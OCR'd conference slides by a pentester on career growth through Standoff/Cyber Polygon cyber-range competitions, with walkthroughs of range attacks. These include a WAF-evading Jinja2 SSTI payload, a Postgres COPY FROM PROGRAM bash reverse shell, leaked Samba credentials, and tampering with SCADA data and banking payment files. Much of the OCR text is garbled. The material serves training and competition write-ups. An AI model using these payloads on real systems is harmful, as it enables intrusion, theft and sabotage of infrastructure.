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Agenda

 Upgrade yourself

* Money

* Non-public critical events
 Some tricks from cyber polygon
« Community impact

* Questions
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/proc/self/fingerprint

Pentester at Kaspersky

- HackerU(CyberED) graduate 2022

- Standoff365 2024 Champion - VeeZy

- Certifications: OSCP, CRTO, BSCP, OSEP

- Public speaks: Standoff Talks, VolgaCTF

- Love to play basketball
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Upgrade yourself
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O

Protocols; s7comm,
modbus, omron
Dlv, IDA, HxD

Web server written in C
Some crazy CTF that
you want to forget as

soon as possible

Main segments

BaHkoBcKas
cuctema

Metal&Tech

o Banking systems:

ABS, DBO, ARM
KBR

SSTl(twice on the
same host for
better
understanding, lol),
Kubernetes, QR-
codes, mobile
application, Crypto
Pro

A lot of vendors
software

@8

NetFusionPro

o ClI/CD, Domain
Pwned(2 times),
docker escapes

o Some strange
stuff:Zabbix RCE(if
you know you
know), RCE in
cookies in some
web server

o Scada password all
over the hosts(8
gigabytes RAM
dump file included)

o Very different task
with Scada — so nice

o Too much
people(very funny)
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Conclusion

Infrastructure* Perseverance
Phishin 1 I oK
9 All around skills making with

documentation

Internal Web Kubernetes, Reverse
pentest pentest Docker engineering
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Money

Why this is so important?
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Ton-25 Ha oHNanH-NoOJINFroOHe

Standoff

1. VeelZy
2. GorillaHacker
3. Bagley

4. CSV

5.fgh

6. yelnurx
7. varnokk
8. Sdar

Q. mimicate
10. Templ

STANDOF3a €

11. rudnic

12. Fundoza

13. wiiz4rd

14. dragom
15.z37yc

16. Yao

17. OurObOROS
18. GeenStack
19. BOP4YH
20. ladno_ya_ponyal
21. 3eVeHblu
22. AnOnwx
23. collapsz
24. stensilart
25. rtnvv
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1. rOhack
2. brain
3. BlackFan

4. byq

5. kedr

6. orlserg
7. bratka
8. actlon3
Q. ubepkr
10. Fibt

STANDOFA €D

11. prizrak

12. lobity

13. AlexShev

14. cutoffurmind
15. azimoff

16. al88nsk

17. freeman

18. gg_script

19. sergeym

20. superhacker123
21. Nokinal

22. hussein?28d
23. SidneyJob
24. cheenve

25. n1




How being at the top of the platform
will help you handle this injustice?
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It does not matter how slowly you
moving forward — the important
thing is that you do not stop.

Bruce Lee
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The look you give your friends who said you wouldn't earn anything from that
- then you get an offer that X3 times bigger than your current salary

&
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Cyber Polygon

You just a junior pentester
with 100k salary

« 100 *12 =1.2m
« 300*12 = 3.6m
e 36-12= (profit)

Simple math

BugBounty

In 2024, 16 bughunters managed to earn
more that 1 million rubles, three
researchers earned more than 7 million*

13x3+3x85 39+255 645
; _ _ - .
* 16 16 16 03 pyo

(profit)

1elgey
v/



Conclusions

* If you don't receive award immediately that doesn't
mean you don't get it later
« Do what you want even some of your friend don't
believe in you
 Play with passion, not for the money but for new
experience
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Non-public critical events
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Global Digital Bank client data leak

Banking system

Global Digital Bank client data leak

lign Report points . Triggered 21 times,
O difficulty E_lu for the jury up to 7; 50 can be earned = first by cryptObOy
O 2 10124.1.80 i 2 & 0 8 &
Global Digital Bank [~ |
[naBHanA BantoTbl HoeocTu Kpegutsl

Aeb6eToBan KapTta Global Digital Bank

KapTa Ha Bce cnyyan XW3HW ¢ MoBLILWEHHLIM Kellb3koM 1 GecnnaTHsIM 06cyXHMBaHWUEM

30% oP oP

Kewbek 3a nokynku QfcnyxueaHne Hagcerga Mepesoapl W NNATEXN

MpeumyLiecTea KapTbl

Kaw6ak py6namu go 30% Oo 5% rogoebix 0 P 3a o6cnyXXneaHne

38 NOKYMKK N0 CREUNDEN0XEHKAM NEDTHEPOE DaHKE [ouog Ha cymmMy OCTaTKE A0 300 000 # Ecnu xpasuTs o 50 000 £ Ha KBPTe, BKRafAX, HAKONWTEMEHED CUETAX M B HHESCTULIRAX
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The face you make when you publish write-up to

most beautiful critical even and it doesn’t work
v R

7252
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Non-public critical events
Global Digital Bank client data leak

Preview about host:
* Web site can go down for 5-10 minutes with no reason;
* Weirdest WAF: blocks all Linux commands(ls,tr,su and so on).

Create payload step by step:

» cycler — Every Jinja2 template context includes a cycler() function. Here we grab that function object itself;

« _ init__ — Every python function object has a __init__ attribute(constructor);

» _ builtins__ — Inside that function object we can find all Python built-ins(len,dict, __import_);

« _ import__ — Dynamically imports the standard OS module, just as if we'd written import os in Python code;
.popen('ID".lower()) — launches a subprocess running the given command and convert the string “ID” to bypass
filters that look for the literal substring “id”;

.read() — reads the subprocess’s stdout.

Bottom line:
cycler = __init_ — _ builtins__ = __import__(‘0s') — popen('ID".lower()) — read()



Global Digital Bank client data leak

Final Payload

{{ cycler.__init__._ builtins__.__import__(‘os’).system(’./your_shell.py".lower())}}

+

Response
2 £ Pretty
ap ] cle HTY ) OK
i " ol
v [ {
ot »
{
Successfully get a reverse shell
1337
listening on [any] 1337 ...
connect to [10.127. ] from (UNKNOWN) [10.124.1.66] 17346
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
hostname

news-service-deployment-6784854fd9-27494
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Global Digital Bank client data leak

Postgres SQL RCE

proxychains4 -q psql -h 10.42.0.6 -U postgres
Password for user postgres:
psql (15.1 (Debian 15.1-1+bl), server 15.4)
Type "help" for help.

postgres=# \c news
psql (15.1 (Debian 15.1-1+b1), server 15.4)
You are now connected to database "news" as user "postgres".

news=# \d
List of relations

Schema | Name | Type | Owner

+ + +
public | alembic_version | table | postgres
public | article | table | postgres
public | article_id_seq | sequence | postgres
public | cmd_exec | table | postgres
public | cmd_exec_rtnvv2 | table | postgres
public | cmd_exec_veezy | table | postgres
public | comment | table | postgres
public | comment_id_seq | sequence | postgres
public | read files | table | postgres
public | read_files2 | table | postgres
public | shell | table | postgres
(11 rows)
news=# COPY cmd_exec_veezy FROM PROGRAM 'bach -c "bash -i >& /dev/tcp/10.127. /1338 0>51""';
ERROR: program "bach -c "bash -i >& /dev/tcp/10.127. 1338 0>81"" failed
DETAIL: command not found
news=# COPY cmd_exec_veezy FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.127. 1338 0>861""';

nc -lvvnp 1338
listening on [any] 1338 ...
connect to [10.127. ] from (UNKNOWN) [10.124.1.66] 15925
bash: cannot set terminal process group (17247): Inappropriate ioctl for device
bash: no job control in this shell
postgresgpostgres-news-deployment-868b56cbbf-29zvb:/bitnami/postgresql/data$ 1s -la
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Global Digital Bank client data leak

Find images

Annotations: <none>
Status: Running
IP: 10.42.0.2
IPs:
IP: 10.42.0.2
Controlled By: ReplicaSet/samba-deployment-7dc94ch869
Containers:
samba:
Container ID: containerd://2a5b58fbea9819a76bba0e4075a770431d1cf4cc331697e5fc@a33e22b0022a7
Image: 10.154.10.102:5000/samba:1
Image ID: 10.154.10.102:5000/samba@sha256:e1d2a7366690749a7be@6f72bdbf6a5a7d15726fc84ektesf41e967214516edfd
Ports: 139/TCP, 445/TCP
Host Ports: e/TCP, @/TCP
Command :
samba.sh
-p

-u
BankWorker;4eU2mNxzsMxS9CASCpfK3K

-u

CentralWorker; KUZtPxcSFCRRkdnGsOly83

-5
CentralBank;/CentralBankShare;yes;no;no;BankWorker,CentralWorker

State: Running
Started: Thu, 16 Nov 2023 20:53:26 +0000
Ready: True
Restart Count: @
Environment: <none>
Mounts:

Viktor Zvarykin - Cyber Polygon: Career Development



Global Digital Bank client data leak

Download and parse all images

[];m:.,v.w'ssw q python3 drg.py http://10.154.10.102 —dump_all —! docker run -1t --rm --entrypoint="/bin/bash" 10.154.10.102:5000/processing_core:1
+] auth
AT rootg6147b39f25bf:/#t 1s -la
H el total 22888
[+] news drwxr-xr-x 1 root root 4096 Dec 19 19:07 .
[+] postgres _ _ .
111 Droccse g core drwxr-xr-x 1 root root 4096 Dec 19 19:07 ..
H proxy -rwxr-xr-x 1 root root 0 Dec 19 19:07 .dockerenv
+] samba . .
M, lrwxrwxrwx 1 root root 7 Jun 24 02:02 bin — usr/bin
H e s drwxr-xr-x 2 root root 4096 Apr 18 2022 boot
u 0L B
[+] Dumping auth —-TWXT-XI'-X 1 root root 23374287 Aug 21 05:09 core
[+] Downloading : a3ed95caeb@2ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 _ _ .
[+] Downloading : 4dbb215b216394ebc4bd146afacd3b873d8cabfe2941b26f0b88a0a576a28ffb drwxr-xr-x 5 root root 360 Dec 19 19:07 dev
H Down%oadzng - /»d'obzl5b21b39ae©chbd1:6af:—.chbB?’Bc!Scaber%lebf'ObBSaGa&waéS?fo drwxr-xr-x 1 root root 4096 Dec 19 19:07 etc
+] Downloading : a3ed95caeb@2ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 9d19ee268e@d7bcf6716e6658ee1b0384a71d6f2f9aalae2085610cF7c7b316f drwxr-xr-x 2 root root 4096 Apr 18 2022 home
[+] Downloading : a3ed95caeb@2ffe68cdd9fd84406680ae93d633¢cb16422d00e8a7c22955b46d4 - 3 3
[+] Downloading : a3ed95caeb@2ffe68cdd9fd84406680ae93d633ch16422d@0e8a7c22955b46d4 lrWXTWXTWX 1 root root 7 Jun 24 02:02 11b - USl"/llb-
[+] Downloading : a3ed95caeb@2ffe68cddofdss406680ae93d633cb16422d00e8a7c22955b46d4 lrwxrwxrwx 1 root root 9 Jun 24 02:02 1ib32 — usr/lib32
[+] Downloading : a3ed95caeb@2ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 . : :
E.1 61 5bSim Found 11 Lrwxrwxrwx 1 root root 9 Jun 24 02:02 lib64s - usr/1ib64
[+] Dumping common_service lrwxrwxrwx 1 root root 10 Jun 24 02:02 11bx32 — usr/11bx32
[+] Downloading : a3ed95caeb@2ffe68cdd9fd84406680ae93d633chb16422d@0e8a7c22955b46d4 . .
[+] Downloading : 4927e6245a9d9b3534d5h9FF47d158c1892bd9eabb9dagsf24ec3bfdosdscaas drwxr-xr-x 2 root root 4096 Jun 24 02:02 nmedia
[+] Downloading : 3bdabefdfc5b92b1a9760092efa9eblasf50a0374789af843c6842acaf848b8f - - !
[+] Downloading : a3ed95caeb@2ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 drwxr Xr=X 2 rOOt rOOt 4096 JUFI 24 @2'@2 mnt
[+] Downloading : 5e265b51b431d80b30bff2e2f867af78d559418b418ea7b3edf faead2221b244 drwxr-xr-x 2 root root 4096 Jun 24 02:02 opt
A
docker run -it --rm ——c1trypsint—“/hin/bash“'le.154.la.laz:seﬁa/mcﬁile_ﬁbo:l
root@207478B8a72f0:/# 1s -la
total 55132
drwxr-xr-x 1 root root 4096 Dec 19 12:37 .
drwxr-xr-x 1 root root 4096 Dec 19 12:37 ..
~TWXT-XI'-X 1 root root @ Dec 19 12:37 .dockerenv
drwxr-xr-x 2 root root 4096 Jun 12 2023 bin
drwxr-xr-x 2 root root 4096 Sep 3 2022 boot
drwxr-xr-x 5 root root 360 Dec 19 12:37 dev . .
drwxr-xr-x 1 root root 4096 Dec 19 12:37 etc
drwxr-xr-x 2 root root 4096 Sep 3 2022 home Flnd the rlght One
drwxr-xr-x 7 root root 4096 Jun 12 2023 1lib
drwxr-xr-x 2 root root 4096 Jun 12 2023 1libb4
drwxr-xr-x 2 root root 4096 Jun 12 2023 media
drwxr-xr-x 2 root root 4096 Jun 12 2023 mnt
-I'W-I--T— 1 root root 56378132 Aug 21 16:22 mob dbo.ijar



Global Digital Bank client data leak
e Get creds with IDA

‘H - ’Iut’n'cl > ‘ A' :O u*d‘\:’. ."#H‘lx 1"013“0'**107"
sU L T (] .

Lrary fncsen B ’.n)h’ functen B tniuction Data Urexploced Extornal sy=bol Lumina Sncson
]- Functons 5 DA Viewr-A (% \ Preudocods A 2 — Eaums
RENE o,
Function name 1 e e call runtine mo
J Yar surerrw g v ’ ’ . J'p nain _maain
" fwrite ) cal main_main endp
viprntf ow
fpute
abort
pthread mutex lock
pthread cond wait
pthread mutex unlock
stack d faof v raimaln confi it.len, rbx
pthread cond broadcast X rd ptr cs: itime weiteBarcior.onabled, 0
pthread create loc_R63113
nanosieep
pthread detach

[ strerror " Gh‘ -

f
f
f
f
f
f
.f
f
f
f
f
f
f

f fprref ok

f free i
. loc_B63118:
f malloc -2

ica di, main config

! pthread attr inst

! pthread attr getstacksae
pthread attr destroy
sigfilisct

pthread sigmask

mmap

munmap

setenv loc_B6312%

unseteny ’ mov csimain_g
sigemptyset 4 crp

sigaddset 3 inz short loc_U62149
sigaction
sigismember
qetgraid ¢
getgrnam r
qetpywnam ¢ ) le: , aaf9Paptélkn
getpwud r simaln contig.Password. str loc P&3149:

reabloc mp short loc BE3 lea rdi, main config.Password
sysconf lea rex, afafarogeiikniap

call runtime geuritedarriorcx

nop
coll untise gck

Be B Be Be B B e By Be B Be Be B Be B B |

Py

Line 18359 of 15440

Gragh overvien

yee Lranw




Global Digital Bank client data |

Connect to Postgres database

proxychains4 -q psql -h 10.36.0.3 -U postgres
Password for user postgres:
psql (15.1 (Debian 15.1-1+b1), server 15.4)
Type "help" for help.

postgres=# [

Get access to clients information

id | username avatar_filename
updated_at blocked_at
+ '

Final step

password

ed

created_at

a7c3bc2d-eb78-4f2b-a574-b659622b4288 | positive
P23-08-21 20:47:28.679109+00 | 9001-01-01 @0:00:00+00
bf5efc81-69d5-491b-a@d3-1a6faaf6574e | hubabuba

023-08-21 20:47:28.744766+00 | @001-01-01 @0:00:00+00
4da2f268-616c-4f3f-9f2f-68b990665dde | logfhjhb

023-08-21 20:47:28.808939+00 | 001-01-01 P0:00:00+00
Salfo6ab-4b4a-4b27-8e7c-Th138bd33F5¢ | nvkfvndfkvnd
P23-08-21 20:47:28.880052+00 | 0001-01-01 @0:00:00+00
bee6P942-dBc4-430F-9e59-7c4cf43f1b8d | bhlsnvpes

023-08-21 20:47:28.96232+00 | ©001-01-01 ©0:00:00+00
692a7398-97e0-4247-9ed7-78745f66b921 | fvfdvfdvo

023-08-21 20:47:29.025628+00 | 0001-01-01 @0:00:00+00
3alc88le-87ee-44fe-9281-ec399a59101c | jnkdfwd92Zn
023-08-21 20:47:29.110129+00 | 001-01-01 A0:00:00+00
24223db-b242-4ad3-ad61-d8152966¢22d | dvdf9

P23-08-21 20:47:29.235683+00 | 0001-01-01 00:00:00+00
04082ad0-e7@b-4feb-a9d@-c2c20f21aa3d | bankuserl

P23-08-21 20:47:29.297294+00 | 0001-01-01 @0:00:00+00
d0c28db2-1764-4626-9325-62cf87a50e27 | devndfvdvfdkin
023-08-21 20:47:29.359716+00 | 0001-01-01 00:00:00+00
db74f279-4d87-494e-bd2c-38d8fag917edd | pdspdpdpdpdpddpdpddp
023-08-21 20:47:29.431668+00 | 001-01-01 Q0:00:00+00
69a5c783-6044-4208-ad52-94cc241a8e23 | venmvd

023-08-21 20:47:29,504902+00 | 0001-01-01 00:00:00+00
e9525ef3-16d0-48b7-88d3-e1345ed4c051 | bmbdlss

P23-@8-21 20:47:29.567371+00 | 9001-01-01 @0:00:00+00
6df28d7f-c380-4d92-aake-d6ebb98bd7f0 | 9830scdv

default.png

default.png

default.png

default.png

default.png

default.png

default.png

default.png

default.png

default.png

default.png

default.png

default.png

default.png
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$2a$103$MLheil3If3Xof INHV3ISVDaMBLGT Z JrWSFF7r40vfB2hlkgAhpBCi
$2a%$10%62UoquGsDew2aAqkeDyYX. uuaR1uA21IBasEY3Iz3fMeaf2ZbZRF. 2y
$2a$10%/KSK.6iyQP1k7NfpTmkHieH6mvousL24kULPk j3uDSm3PkoOVITava
$2a$103ViAL1kUROOBFhrulf/DWy. 1Dt . 4NVHZNLQdho200gMe6KL1zdd The
$2a$105Kuhruwve/KeFAKEK 4K 7pmuMi3NSAOVinmH2ZNPCIBRE . L3¢ I2ZNUNL
$2a%$10%HpUGT60cOaw/Kv. gJRENADp 4 . ImBGpHGWMNSYCQL,/NDxErhjxCHR2
$2a$103VSiI7tv178vof3pCxD4oG. Ek .. HpwylwTub9WIGA3Ss92rwZ6031gC
$2a$10%UqqN1suI5FaVrUcV7izZ8e6hlqlZ55iMnGEngY4gqY IKs1FEmM/6.2
$2a$103%. cleNsNBimpDvql67LiAwubaNg jOGgKM2as/ eG265TiGOTFVUICay
$2a$10$TLFELICkfOfHSCiA542mZulBihtSs19NLup/Tu4QoUpjIZinBPdAL
$2a$10%a4q2 jnBchlvgTzp6ulLUEUrAMSW2gL/EUFH.Dit2DHDLNIEX@KS. ¥
$2a$10%6tvX2aqP1pyKSeAG5HA 00HryoZymopidQo,/bi0iGP&Ed znPkz IQ.
$2a$10$xIFF5P. INDp/ 7SHVI9VEEUWLUB,/ JUEXWBYU. Bro6DrsQv14UXTdF6

$2a%10%Ta32hasSgqQ.0e3tX3sKbhed/f fXghuFH@SUEZBSJEGEM7DBSOZOF6

2023-08-21

2023-08-21

2023-08-21

2023-08-21

2023-08-21

2023-08-21

2023-08-21

2023-08-21

2023-08-21

2023-08-21

2023-08-21

2023-08-21

2023-08-21

2023-08-21

20:47:

20:47:

20:47:

20:47:

20:47:

20:47:

20:47:

20:47:

20:47:

20:47:

20:47:

20:47:

20:47:

20:47:

28.679109+00
28.744766+00
28.808939+00
28.880052+00
28.96232+00

20.025628+00
29.110129+00
20.235683+00
29.297294+00
20,359716+00
29.431668+00
29.504902+00
29.567371+00

29.629301+00



Non-public critical events

Energy segment most rare risks

Y Low difficulty [ Report for the jury
Tampering of hydroelectric plant data

To manage operations, a state-of-the-art collective control system was put into trial operation at hydroelectric units. Recently,
operators have been logging deviations in the power output readings of these units. After a period of time, the readings returned
to normal.

The investigation pinpointed the cause of the system's abnormal behavior: a dismissed employee of the supplier company had
tampered with the control parameters in order to harm their former employer. The company intends to take legal action.

Y Low difficulty B Report for the jury
Tampering of power control data

The phones of emergency call handlers are ringing off the hook. Angry people are complaining about a lack of electricity, even
though the control system screens indicate no problems in the power grid and all consumers are connected. During the initial
investigation, it was revealed that the hackers had tampered with the control system data displayed to the operator. Experts at
the power company really have no idea which consumers are connected to the grid and which are not.

Y Low difficulty B Report for the jury
Tampering of wind turbine data

The Green Energy program is under threat: for six weeks the most state-of-the-art wind farm in State F has not been supplying
green megawatts to the city. Despite strong winds, the wind turbines are standing idle. An investigation revealed that the wind
turbine control system was infected with the WINDpoison virus. Attackers used it to shut down the turbines and spoof the energy
production data.

Viktor Zvarykin - Cyber Polygon: Career Development

Maximum points available

2,500

= Triggered 11 times,
first by GorillaHacke

Maximum peints available

2,500

e, Triggered 10 times,
first by GeenStack

Maximum points available

2,500

. Triggered 14 times,
first by durck



Tampering of wind turbine data

First option (hard
Change config files

FreeRDP: 10.154.13.101
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Tampering of wind turbine data

First option (hard)
Change config files

FreeRDP: 10.154.13.101

IND o GUEST

i, Activation Time Message

Viktor Zvarykin - Cyber Polygon: Career Development

Ex

17.07.2024 14:28:23
CONNECTED
PLC RUNNING




Tampering of wind turbine data

Second option (easy)
LOTL
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Tampering of hydroelectric plant data

HxD manual

A& FreeRDP: 10.154.13.98

17.07.2024 22:41:12 HYDRO POWER PLANT ( E_)

Current User: None

Transformer
Pressure N2 . Oil Pressure

240 - kg/sm2 = kg/sm2

638.9 Shaft vibration

64.1
i Pressure in 195.7 | mcm

155 Consumption cooling line

50.02 a/n Ki/si p“:'“p

Distillate Level Oil Level

1645 | m 00 Jm

|

T P 1

» Consumption

Generator L3

T'emp of bearing 2798 | m3/h
> = 493|c |481 279.8 | m3/h 1634 |A 0il Pump 1 0il Pump 2 0il Pump 3

493¢ 493 2798 O|o_o |a 00 |a 00 |a
) ] 0 o 0

Pressure in
cooling line

Resistivity

Consumption .
A > [39.0]c

P turbine bearing inlet P in the brake line

(0.9 |ka/sm2 (0.0 | ka/sm2
m Temp of thrust bearing m

Consumption P turbine bearing outlet

m3/h kg/sm2 390(t 396 |C

P \ Shaft vibration 396|€ |385¢
P under cover ] 125.7 |mem 39.6 iy 40.3 B

@ kg/sm2 o
- 0

Guide Vane, % Group regulator settings | 640.0 | mw

ru 175
T I

Pressure in
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Tampering of hydroelectric plant data

Looks like the same way like wind t

Home Share View

& Ccut 7 New item ~ ) open ~ [ selectan

« 7 X =F

sl Copy path Edit Select none

- £ 7 Easy access ~
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o

Move
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- Copy
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Tampering of hydroelectric plant data

Go deep into config files

FreeRDP: 10.154.13.98

VEEZY HACKS WORLD

17.07.2024 23:23:07
Current User: None

Transformer W

[ MU HxD - [Ch\Users\ Administrator\ Documentst SCADA\HPP Y win00003.win] I

| Qaiin Mpaeka Mowck Bug Ananns WMHctpymentsl Okno Cnpaeka

b8 -] e 32 v

Windows (ANSI) v
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Tampering of hydroelectric plant data

We can do whatever we want

FreeRDP: 10.154.13.98
[EUl PRI Ll O

18.07.2024 00:00:36

Current User: None VEEZY HACKS WORLD

Transformer
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6426 /\ /\

Shaft vibration
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Tampering of hydroelectric plant data
Change data

FreeRDP: 10.154.13.98

VEEZY HACKS WORLD

Viktor Zvarykin - Cyber Polygon: Career Development

CneuwansHele peasxrops

Wncnextop gamtbix
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ampering of hydroelectric plant data
cle

FreeRDP: 10.154.13.98

A

[t VEEZY HACKS WORLD
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Shaft vibration
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Withdrawal of funds from bank account through ARM KBR
surrm"'"ma INTHE BANKING |

F
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Withdrawal of funds from bank account through ARM KBR

APME( 2

m KBP — ato MO, c nomoLybko KOTOPOro ynonHoOMoYeHHble paboTHMKu BaHka ocyLecTBnAIT
WwndpoBaHMe 1 3NEKTPOHHYK NOAMNUCH UCXOAALUMX NNaTEeXHbIX AOKYMEHTOB, a Takke paclumndpoBsky U
NPOBEPKY 3MEKTPOHHON NOANUCK NnaTeXHblX 4OKYMEHTOB, nocTynatwwmx u3 badka Poccuun. Ho, ecnu
ObiTe BONee ToYHbIM, TO m KBP B cBoel pabote onepupyeTt He nnaTeXHbiMy LOKYMEeHTaMu, a

NEKTPOHHbIMU coobueHnamm (3C), koTopble bBbiBaloT ABYX TUNOB:

e 3MEeKTPOHHbIe NnaTexHble coobwenns (3MC), Hanpumep, ED101 «lMnaTtexHoe nopyyeHuner;

& 3NEKTPOHHbIE cnyxebHo-uHhopmaunoHHble coobuieHuns (S3CUC), Hanpumep, ED201 «U3seLyeHune

0 peaynbratax KoHTpons 3C».

MepeyeHb 1 opmaTbl ANEKTPOHHbIX coobueHuit yctaHasnueaeT baHk Poccuun, nytem Bbinycka

bboma yHUdbUUUpoBaHHbIX (POPMAaTOB 3NEKTPOHHb DaHKOBCKMX cooblueHun (YOI b

Ans Toro 4yTobb! ':! ]' KBP mor obpabotarb nnarex, oH AonkeH bbiTb npeobpasosaH B dain,
coaepXallum aneKTpoHHoe nnartexHoe cooblieHne dopmara YOIBC. 3a nogobHoe npeobpasosaHue

oTBe4aeT mogynb uHTerpauum ABC c nnarexHon cuctemon BaHka Poccun. C TeXHWHECKOM TOYKM

3peHust nogobHble npeobpasoBaHUsA AOBONLHO NPOCTLI, Nockonbky dopmat YOSBC ocHoBaH Ha XML.

Nins Toro yto6bl (gl KEP Mor o6paboTtaTe nnatex, oH AomkeH 6biTs npeobpa3osaH B dailn,
coAep¥allMi anekTpoHHoe nnartexHoe coobuwenwne cdopmara YP3IbBC. 3a nogobuoe npeobpazoeaHne
oTBeYaeT Mogynk WHTerpauuMu ABC ¢ nnatexHon cucteMon baHka Pocci. C TeXHUYECKON TOYKW

apeHuA nofobHele Nnpeobpa3oeaHWA AOBONBHO NPOCTLI, Nockonbky hopmaT Y®3BC ocHobaH Ha XML.

dainbl aNeKTPoHHbIX cooBbLUEeHWA NoKMAAaKT MOAYNb UHTerpalMu ABC B OTKpbITOM BUae U
noMeLlanTea B cneynanesHyo nanky dannosoi cuctemsl (0BBIMHO 3TO CETEBARA Nanka), KoTopas
HacTpoeHa B m KBP ana anekTpoHHbeIX cooblwerud, nMmetowmx cratyc «BeegeHHbler. Ha paHee

npegctaeneHHon cxeme (Puc. 2.) ata nanka oboaHadeHa kak «[anka 1».

3atem B npouyecce UEDBEDTKH ANeKTPOHHBIE CDDELLI,E.‘HI.-‘IF! MEHAKT CBOW CTaTyChbl HA
«KoHTponupyemele», «OTnpaBneHHbier U T. 4., YTO TEXHUYECKW peanuayeTca NyTem nepemelleHns
thalina ¢ aNeKTPOHHLIM cooblWeHnemM B COOTBETCTBYIOLUME MAaNKK, KOTOPLIE HACTPOEHLI B m KBP. Ha
cxeme (Puc. 2.) aTn nanku oboaHaveHsl Kak «[anka 2».

B onpefeneHHblil MOMEHT TEXHONOMMYEecKoH 0BpaboTky (YCTaHOBNEHHBIA BHYTPEHHUMK PErMaMeHTaMK
BaHKa) UCXOAALWKUX ANEKTPOHHBIX COOBLLEHWA OHW WKWGPYIOTCH W NOONWCEIBAKTCA 3MEKTPOHHOM
nognucblo ¢ noMollsbio CKAL CurHatypa W 3akpbiThiX KpynTorpaduyecknx Kniw4ei OTBETCTBEHHLIX
paboTHUKOB.




Withdrawal of funds from bank account through ARM KBR

MNanka 2 -
ANA YUETa CTaTycos
Onepaumo HHmcT cysd nnaTemen
Hanka WyDHANOB

Knmewxrol X S A '
) [3 <
- =3 N
. Moaynob Manka 1

Moaynt -
VIORY uarerpaumn  ana obmena c ABC YN oNHOMOU MBI
UHTErpaumum

6
Cepsep Al paborHuk

UHTeprer
Knnewt-Bamk
oneparop 7 Nanxa 3 -
CB3AU N 2 Ana obmesa c LB

MoAéMHaa
CBA3b
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Withdrawal of funds from bank account through ARM KBR

FreeRDP: 10.154.4.164

CxaHnpoBaTh

PesyneTatel Wsbparroe

Craryc

. 10.154.4.1 s

- 10.154.4.3 HowE - Shice

. 10.154.4.4
10.154.4.5
10.154.4.6
10.154.4.7 # Quick access

10.154.4.8 I Desktop

M . > Network » 10.154.4.162

28112319102230_017_1.files
| D00017000000001.r_es
10.154.4.11 | Decuments 7
10.154.4.12 | 7] 000017000000001.r_es - Notepad

10.154.4.19 | File Edit Format View Help

logc.cos.stf

10,154.4,33 :1"1",/><Payer‘ PersonalAcc~-"40702810400252500987" INN-"4230638428" KPP-"710245769"><Name>000 ®nark/Name><Bank BIC-"049885992" CorrespAcc="381018]
0.154.4.65 |

0.154.4.66 I

\

zabbix

dc.cbs,stf
dc-2.chs.stf
abs-app

Import

TutFile
abs-db
ib-app.cbs.stf
ib-db
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Withdrawal of funds from bank account through ARM KBR

OnucaHne ¢opmarta RES

®aiin .res Ha BalleM KoMNbloTepe oTBeYaeT 3a pecypcbl Win32, 3a4acTyio OH NPUMEHAETCA B NpoLecce KOMNUMNALUI
cneyunanbHoro nporpammHoro obecneyexns, Kotopoe 6biINo NOCTPOEHO Ha OCHOBE PacnpPOCTPaHEHHbIX A3bIKOB

nporpammuposaHna C nubo C++

Takon Tun gaina obbI4HO coaepxuT B cebe onpeaeneHHble 3NeMeHTbl NPUNOXEHUA, K NpUMepy pasnuyHble n3obpaxeHns
Kypcopbl, Tabnuubl, MKOHKK, @ TaKke laHHble 0 MoANDUKaLMAX U BEPCUAX TOW UMM MHOW YTUNWUTBI, YCTAHOBNEHHON Ha XeCTKUIA
anck. Ytobbl oTKpbIT hain res, noTpedbyrTca nporpaMmHbie KoMmnnekcol Ha nogobun Reskdit, Resource Hacker unm

Microsoft Visual Studio

Vicnonb3ya ResEdit MoxHO ynpasnaTh paccMmaTpuBaemMbiM paclumnpeHnem danna, tHpopmMaumo BO3MOXHO U3MEHATD
perynupysa no cobcTBeHHOMY YCMOTPEHUIO XpaHUMbIe TEKCTOBbIE AaHHble, n30DpaxeHna, a Takke KoMaHabl U npoyee

YTunuTa BKNoYaeT B ceba MHTerpMpoBaHHbIi CTaHAapTHLIN peaakTop ANA BHEeCEeHWUA Nonb30BaTenbCKUX 3MeHeHUI

\
\

PaclwuvpeHune res ncnonb3yeTca B paMmkax onepayuoHHon cuctembl Windows, ¢ain pecypcos MOXET NPUMEHATLCA ANS
KOPPeKTHOro yHKLMOHMPOBaHUA pa3HoobpasHbix MrpoBbIx NnpunoxeHu, Takmx Kak Half Life, Star Wars, Evil Islands, Counter
Strike Source, SWAT3 u TaK aanee. ViHpopmayua B paclumpeHu MOXeT 0TBeYaTh 3a peanu3ayuio HEKOTOPbIX rpaduyecKmx
3NemMeHToB oopMmneHnsa urposoro nHTepdeinca. [Npobnembl ¢ OTKpbITUEM _res ¢aina pelwarnTca YyCTaHOBKON TpebyeMbix

cpeacTs pa3paboTku u 0b6CnyKMBaHNA CUCTEMHBIX peCcypcoB
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Withdrawal of funds from bank account through ARM KBR
GG

A FreeRDP: 10.154.4.164

CkaHupoeate

PesynsTatsl Wsbparsioe

Network > 10.154.4.162 TxtFile
Craryc

ek arcace

|06000" TransKind="01" Priority="5" ReceiptDate=
TxtFile
Organize ~
P 3D Objects
[ Desktop 319102230_017_1.files
| Documents
& Downloads
‘fv Music
| Pictures
B videos

= Local Disk (C:)

¥ Network

Ln1, Col1

File name:

Save as type: | Text Documents (*.txt)

< A Hide Folders Encoding: UTF-8 Cancel

22 exmoueno, 0 epikmoveno, 83 HenssecTHo

« o o € m 0 8 &« 4 ATl NG oo O

02.12.2023
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Withdrawal of funds from bank account through ARM KBR
P.S.

proxychains4 -g smbclient -U "CentralWorker%KUZtPxcSFCRRkdnGsOly83" \\\\10.42.0.2\\CentralBank
Try "help" to get a list of possible commands.
smb: \> dir

. D @ Sun Dec 10 10:05:08 2023
. D ® Thu Nov 16 23:53:27 2023
libbindshell-samba.so A 8432 Sat Dec 9 10:32:00 2023
reverse shell.so A 15992 Fri Dec 8 22:37:23 2023
3pSoPhPX.so A 16144 Fri Dec 8 22:07:24 2023
revshell.so A 14992 Fri Dec 8 22:03:37 2023
BwQwM8JIP. so A 16144 Fri Dec 8 22:09:04 2023
C3i9sX8R.so A 16144 Sat Dec 9 10:43:45 2023
szuCrbL0.so A 16144 Sat Dec 9 10:44:22 2023
libbindshell-samba 6899.so0 A 16144 Fri Dec 8 22:33:08 2023
